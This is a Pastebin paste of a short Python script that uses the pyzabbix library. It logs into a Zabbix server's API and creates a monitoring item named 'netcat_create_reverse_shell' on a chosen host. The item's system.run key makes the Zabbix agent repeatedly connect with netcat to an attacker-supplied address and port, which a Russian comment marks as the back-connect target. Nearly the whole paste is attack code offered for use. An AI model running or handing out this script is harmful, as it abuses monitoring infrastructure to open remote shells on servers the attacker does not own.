Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pyzabbix import ZabbixAPI, ZabbixAPIException
- import sys
- api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://x.x.x.x/zabbix/api_jsonrpc.php"": \n")
- user= raw_input("enter username: \n")
- password= raw_input("enter password: \n")
- hostname=raw_input("enter hostname: \n")
- # hostid=raw_input("enter hostid: \n")
- #zapi = ZabbixAPI(api_address)
- # Login to the Zabbix API
- #zapi.login(user, password)
- zapi = ZabbixAPI(url=api_address, user=user, password=password)
- host_name = hostname
- hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
- if hosts:
- host_id = hosts[0]["hostid"]
- print("Found host id {0}".format(host_id))
- try:
- item = zapi.item.create(
- hostid=host_id,
- name='netcat_create_reverse_shell',
- key_='system.run["nc x.x.x.x 3333"]', # тут указываем адрес и порт для бэк коннекта
- type=0,
- value_type=4,
- interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
- delay=5
- )
- except ZabbixAPIException as e:
- print(e)
- sys.exit()
- print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
- else:
- print("No hosts found")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement